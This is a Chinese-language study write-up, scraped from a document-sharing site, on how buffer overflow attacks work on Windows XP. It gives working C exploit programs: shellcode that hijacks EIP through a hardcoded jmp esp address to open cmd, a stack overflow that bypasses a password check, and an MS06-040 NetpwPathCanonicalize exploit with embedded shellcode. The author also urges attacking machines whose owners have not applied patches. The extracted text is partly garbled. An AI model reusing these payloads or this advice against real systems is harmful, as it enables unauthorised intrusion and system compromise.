缓冲区溢出攻击原理.docx

上传人:b****6 文档编号:5745848 上传时间:2022-12-31 格式:DOCX 页数:13 大小:216.72KB
下载 相关 举报
缓冲区溢出攻击原理.docx_第1页
第1页 / 共13页
缓冲区溢出攻击原理.docx_第2页
第2页 / 共13页
缓冲区溢出攻击原理.docx_第3页
第3页 / 共13页
缓冲区溢出攻击原理.docx_第4页
第4页 / 共13页
缓冲区溢出攻击原理.docx_第5页
第5页 / 共13页
点击查看更多>>
下载资源
资源描述

缓冲区溢出攻击原理.docx

《缓冲区溢出攻击原理.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出攻击原理.docx(13页珍藏版)》请在冰豆网上搜索。

缓冲区溢出攻击原理.docx

缓冲区溢出攻击原理

缓冲区溢出攻击原理

一、缓冲区溢出攻击原理

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。

利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。

更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

缓冲区溢出是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。

据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。

知道了这个数据我非常震惊,以前进行的活动大都是找各方面的黑客软件然后学习这个软件怎么用,但是众所周知,攻击型的黑客软件都是各大杀毒软件的活靶子,基本上几天就不能用了,所以学习了这些软件的原理,我也能写几行代码,不再依赖黑客软件,就算汇编语言难掌握,也可以保存好常用的代码,其使用方法是比较简单的,下面是我学习的过程,由于没有经验,肯定有不少疏漏,也肯定不少地方绕了弯路,但自己学的过程中也获得了更多乐趣和收货时的喜悦,下面是具体介绍。

我用的是windowsxpsp3编程软件是vc6.0。

还用到了olldbg2.0。

都是很常用的工具。

先介绍一下缓冲区溢出攻击的基础知识储备,进程内存空间是我最先接触的,现在看来也是最必要的基础,windows系统核心内存区间

0xFFFFFFFF~0x80000000(4G~2G)

为Win32操作系统保留用户内存区间

0x00000000~0x80000000(2G~0G)

堆:

动态分配变量(malloc),向高地址增长

进程使用的内存可以按照功能大致分成以下4个部分。

(1)代码区:

这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。

(2)数据区:

用于存储全局变量等。

(3)堆区:

进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。

动态分配和回收是堆区的特点。

(4)栈区:

用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到调用函数中继续执行。

在Windows平台下,高级语言写出的程序经过编译链接,最终会变成PE文件。

当PE文件被装载运行后,就成了所谓的进程。

PE文件代码段中包含的二进制级别的机器代码会被装入内存的代码区,处理器将到内存的这个区域一条一条地取出指令和操作数,并送入算术逻辑单元进行运算;如果代码中请求开辟动态内存,则会在内存的堆区分配一块大小合适的区域返回给代码区的代码使用;当函数调用发生时,函数的调用关系等信息会动态地保存在内存的栈区,以供处理器在执行完被调用函数的代码时,返回母函数。

文字比较抽象,我是通过下面三张图理解的,而且这部分内容在大学计算机基础里讲过一些。

堆栈(简称栈)是一种先进后出的数据表结构。

栈有两种常用操作:

压栈和出。

栈有两个重要属性:

栈顶和栈底。

内存的栈区实际上指的是系统栈。

系统栈由系统自动维护,用于实现高级言的函数调用。

每一个函数在被调用时都有属于自己的栈帧空间。

当函数被调用时,系统会为这个函数开辟一个新的栈帧,并把它压入栈中,所以正在运行的函数总在系统栈的栈顶。

当函数返回时,系统栈会弹出该函数所对应的栈帧空间。

win32系统提供了两个特殊的寄存器来标识系统栈最顶端的栈帧。

ESP:

扩展堆栈指针。

该寄存器存放一个指针,它指向系统栈最顶端那个函数帧的栈顶。

EBP:

扩展基指针。

该寄存器存放一个指针,它指向系统栈最顶端那个函数栈的栈底。

此外,EIP寄存器(扩展指令指针)对于堆栈的操作非常重要,EIP包含将被执行的下一条指令的地址。

函数栈帧:

ESP和EBP之间的空间为当前栈帧,每一个函数都有属于自己ESP和EBP指针。

ESP表示了当前栈帧的栈顶,EBP标识了当前栈的栈底。

在函数栈帧中,一般包含以下重要的信息:

局部变量:

系统会在该函数栈帧上为该函数运行时的局部变量分配相应2.函数返回地址:

存放了本函数执行完后应该返回到调用本函数的母函数

(主调函数)中继续执行的指令的位置。

在Win32操作系统中,当程序里出现函数调用时,系统会自动为这次函数

调用分配一个堆栈结构。

函数的调用大概包括下面几个步骤:

参数入栈:

一般是将被调函数的参数从右到左依次压入系统栈(即调用该函数的母函数的函数栈帧)中。

返回地址入栈:

把当前EIP的值(当前代码区正在执行指令的下一条指令的地址)压入栈中,作为返回地址。

代码区跳转:

将EIP指向被调用函数的入口处。

栈帧调整:

主要是用来保持堆栈平衡,这个过程可以由被调用函数执行,也可以由母函数执行,具体由编译器决定。

首先是将EBP压入栈中(用于调用返回时恢复原堆栈),并把母函数的ESP的值送入寄存器EBP中,作为新的基址(新栈帧的EBP实际上保存的是母函数的ESP),最后,为本地变量留出空间,把ESP减去适当的值(注意:

内存分配是以字为单位的)

下面就是怎样让缓冲区溢出,以及找到并利用漏洞。

缓冲区溢出就是在向缓冲区写入数据时,由于没有做边界检查,导致写入

冲区的数据超过预先分配的边界,从而使溢出数据覆盖在合法数据上而引起,大家可能已经想到了,我们可以把进程的目标地址覆盖,改成自己需要的地址。

shellcode字面上指的是执行shell的字节码(也称为机器码)。

现在shellcode具有了更广泛的含义,可以将他定义为执行一个成功exploit的代码。

shellcode可以通俗的理解为程序执行指令(也就是汇编指令)对应的机器码。

Win32ShellcodeC语言版

实用的Win32Shellcode

Xor编码消除空字节

给出远程连接

Createserverandlisten

Acceptclientconnection

Createachildprocesstorun“cmd.exe”

Createtwopipesandlinkstheshellwithsocket

Command:

Clientsend>>recvServerwrite>>pipe2>>stdinCmd.exe

Output:

Clientrecv<

通过跳转指令执行Shellcode

如何利用跳转指令让漏洞程序正确执行我们的Shellcode

0040100F|.E80C000000CALL

00401014|.83C408ADDESP,8

00401017|.8BE5MOVESP,EBP

00401019|.5DPOPEBP

0040101A\.C3RETN

二、缓冲区溢出攻击技术

为了说明如何对缓冲区溢出漏洞进行攻击,我们对下面的示例程序来进行

#include"string.h"

#include"stdio.h"

#include

charname[]="AAAAAAAAAAAAAAAA";

intmain()

{

charoutput[8];

strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出

for(inti=0;i<8&&output[i];i++)

{

printf("\\0x%x",output[i]);

}

printf("\n");

return0;

}

上面的程序里定义了一个8字节的缓冲区output[8],使用函数strcpy来将数组

name的内容拷贝到该缓冲去中,由于name数据的长度超过了8字节,根据第二

部分关于函数调用和缓冲区溢出形成的原理,name里的数据依次覆盖了EBP和

返回地址(两个都是32位的,占用4个字节),使得strcpy函数返回后的EIP指向

0x41414141,这个地址是非法地址,所以程序会出现异常而退出。

图3.1为程序

异常退出的截图。

下面是通过更改地址打开目标主机的命令提示符窗口的示例程序,完成后就能通过命令提示符窗口操作目标主机

#include"string.h"

#include"stdio.h"

#include

charname[]=

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"///覆盖ebp

"\x12\x45\xfa\x7f"////覆盖eip,jmpesp地址7ffa4512

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"

"\x8d\x45\xf4\x50\xb8"

"\x77\x1d\x80\x7c"//LoadLibrary的地址

"\xff\xd0"

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"

"\xba"

"\xc7\x93\xbf\x77"//System的地址

"\xff\xd2";

intmain()

{

charoutput[8];

strcpy(output,name);

for(inti=0;i<8&&output[i];i++)

{

printf("\\0x%x",output[i]);

}

printf("\n");

return0;

}

其运行结果窗口为

非常强大,令我非常震惊。

下面是一个通过溢出攻击越过密码检查程序的程序

#include

#include

#definePASSWORD"1234567"

intverify_password(char*password)

{

intauthenticated;

charbuffer[8];

authenticated=strcmp(password,PASSWORD);

strcpy(buffer,password);

returnauthenticated;

}

voidmain()

{

intvalid_flag=0;

charpassword[1024];

while

(1)

{

printf("pleaseinputpassword:

?

?

?

?

?

?

");

scanf("%s",password);

valid_flag=verify_password(password);

if(valid_flag)

{

printf("incorrectpassword!

\n\n");

}

else{

printf("Congratulation!

Youhavepassedtheverification!

\n");

break;

}

}

}

正确的运行结果为

如果输入的数字过长就会出现下面的窗口:

三、实际漏洞

下面就是找漏洞的过程,有时间不妨多去微软官网上看看发布的漏洞补丁,比较懒的或安全意识不强的肯定不会第一时间打补丁,我们就可趁机攻击。

下面是微软一个非常有名的漏洞

Microsoft安全公告MS06-040

Server服务中的漏洞可能允许远程执行代码(921883)

Windows中有一些非常重要的动态链接库(dll)文件,如负责GUI操作的

user32.dll,负责系统调用的kernel32.dll,负责内存操作的ntdll.dll,以及负责网

络操作的netapi32.dll。

MS06-040就是由于负责网络操作的netapi32.dll中的导出函数

NetpwPathCanonicalize存在栈溢出漏洞。

这个漏洞影响的操作系统有

Windows2000、Windows2003、WindowsXPsp1/sp2等。

而且这个漏洞被魔波蠕

虫病毒利用,所以非常出名。

用到的工具就是ollybdg2.0,确认漏洞并寻找溢出点的过程非常繁琐,限于篇幅,不进行介绍,只介绍利用阶段,下面是一段溢出攻击代码:

#include

typedefvoid(*MYPROC)(LPTSTR);

charshellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

intmain()

{

chararg_1[0x320];

chararg_2[0x440];

intarg_3=0x440;

chararg_4[0x100];

longarg_5=44;

HINSTANCELibHandle;

MYPROCTrigger;

chardll[]="./netapi32.dll";

charVulFunc[]="NetpwPathCanonicalize";

LibHandle=LoadLibrary(dll);

Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);

memset(arg_1,0,sizeof(arg_1));

memset(arg_1,0x90,sizeof(arg_1)-2);

memset(arg_4,0,sizeof(arg_4));

memset(arg_4,'a',sizeof(arg_4)-2);

memcpy(arg_4,shellcode,168);

arg_1[0x318]=0xF9;//CALLECX的地址

arg_1[0x319]=0x52;

arg_1[0x31A]=0x18;

arg_1[0x31B]=0x75;

(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);

FreeLibrary(LibHandle);

}

结果如下图:

 

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 医药卫生 > 药学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1